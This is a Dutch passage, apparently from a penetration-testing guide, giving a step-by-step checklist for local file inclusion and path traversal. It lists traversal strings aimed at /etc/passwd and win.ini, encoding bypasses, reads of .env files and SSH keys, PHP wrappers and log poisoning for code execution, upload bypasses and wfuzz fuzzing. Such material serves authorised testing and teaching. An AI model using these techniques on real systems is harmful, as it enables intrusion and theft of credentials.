?file=,?page=,?include=,?path=,?template=,?doc=,?lang=).Test basis traversal: Begin met
../../../etc/passwd(Linux) of..\..\..\..\windows\win.ini(Windows).Probeer encoding-varianten: URL-encoding, dubbele encoding, dot-stripping bypass, semicolon bypass.
Lees gevoelige bestanden:
.env, configuratiebestanden, SSH keys, wachtwoord-databases.Test PHP wrappers:
php://filtervoor broncode,data://enphp://inputvoor RCE.Probeer log poisoning: Injecteer code via User-Agent, SSH, of SMTP. Include het logbestand.
Test file upload bypasses: Extensie-varianten, double extensions, null bytes, Content-Type manipulatie, magic bytes.
Documenteer de keten: Van initieel lek tot code execution, stap voor stap.
IB – Gebruik de fuzzing tip uit
web_lfi_traversal: combineer wfuzz met de SecLists
LFI-Jhaddix.txt wordlist voor uitgebreide path traversal
fuzzing. Dit is sneller en grondiger dan handmatig testen.
Twee puntjes en een schuine streep. Drie karakters die al dertig jaar lang het verschil maken tussen “veilig” en “volledig gecompromitteerd”. Het is bijna poëtisch in zijn eenvoud. Bijna.